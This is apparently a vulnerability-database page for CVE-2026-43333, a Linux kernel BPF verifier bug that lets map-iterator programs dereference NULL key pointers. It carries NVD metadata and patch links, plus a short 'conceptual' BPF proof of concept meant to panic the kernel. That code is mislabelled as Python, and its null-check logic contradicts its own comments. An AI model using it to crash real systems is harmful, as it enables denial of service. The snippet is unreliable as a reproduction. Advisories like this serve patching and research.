CVE-2026-43333

Description

In the Linux kernel, the following vulnerability has been resolved: bpf: reject direct access to nullable PTR_TO_BUF pointers check_mem_access() matches PTR_TO_BUF via base_type() which strips PTR_MAYBE_NULL, allowing direct dereference without a null check. Map iterator ctx->key and ctx->value are PTR_TO_BUF | PTR_MAYBE_NULL. On stop callbacks these are NULL, causing a kernel NULL dereference. Add a type_may_be_null() guard to the PTR_TO_BUF branch, matching the existing PTR_TO_BTF_ID pattern.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Fix available in stable commits 10bc4a4dcded, 21a10c06ffae, etc.)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual BPF PoC for CVE-2026-43333
// Triggers NULL dereference in map iterator stop callback

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

SEC("iter/map")
int dump_map(struct bpf_iter__map *ctx)
{
    // Vulnerability: In the 'stop' callback (when ctx->meta->seq_num == 0 or end),
    // ctx->key is NULL. The verifier allows this access because it strips
    // PTR_MAYBE_NULL via base_type().
    
    // Direct access without null check causes Kernel Panic
    if (ctx->key) {
        // Valid access during iteration
    } else {
        // Malicious access attempt when key is actually NULL
        // This line should crash the kernel if the bug is present
        __u32 val = *(__u32 *)ctx->key; 
    }
    return 0;
}

char _license[] SEC("license") = "GPL";

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43333
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43333
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43333/
[4] VulDB https://vuldb.com/cve/CVE-2026-43333
[5] https://git.kernel.org/stable/c/10bc4a4dcded509c5d5c67d497900c3922c604cd
[6] https://git.kernel.org/stable/c/21a10c06ffae24cb01fd174a7ab7736001d2ea56
[7] https://git.kernel.org/stable/c/4f6c99dc0420f1a3d671c1b8ab8a7ac84d9cba09
[8] https://git.kernel.org/stable/c/63276547debc4d8a73eefb2c5273b2a905c961b0
[9] https://git.kernel.org/stable/c/70abd9d118da2f56beb4ec22e3a29becae373535
[10] https://git.kernel.org/stable/c/8755066f7bd0f4ac46a29d1708c7b20894539252
[11] https://git.kernel.org/stable/c/b0db1accbc7395657c2b79db59fa9fae0d6656f3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43333", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:43.003", "lastModified": "2026-05-15T20:07:34.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: reject direct access to nullable PTR_TO_BUF pointers\n\ncheck_mem_access() matches PTR_TO_BUF via base_type() which strips\nPTR_MAYBE_NULL, allowing direct dereference without a null check.\n\nMap iterator ctx->key and ctx->value are PTR_TO_BUF | PTR_MAYBE_NULL.\nOn stop callbacks these are NULL, causing a kernel NULL dereference.\n\nAdd a type_may_be_null() guard to the PTR_TO_BUF branch, matching the\nexisting PTR_TO_BTF_ID pattern."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.37", "versionEndExcluding": "5.15.203", "matchCriteriaId": "93A41366-FDB6-4114-8729-414EB719311B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16.11", "versionEndExcluding": "6.1.168", "matchCriteriaId": "04DA4C27-93ED-415D-AE89-994F61043C38"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/10bc4a4dcded509c5d5c67d497900c3922c604cd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21a10c06ffae24cb01fd174a7ab7736001d2ea56", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4f6c99dc0420f1a3d671c1b8ab8a7ac84d9cba09", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/63276547debc4d8a73eefb2c5273b2a905c961b0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/70abd9d118da2f56beb4ec22e3a29becae373535", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8755066f7bd0f4ac46a29d1708c7b20894539252", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b0db1accbc7395657c2b79db59fa9fae0d6656f3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}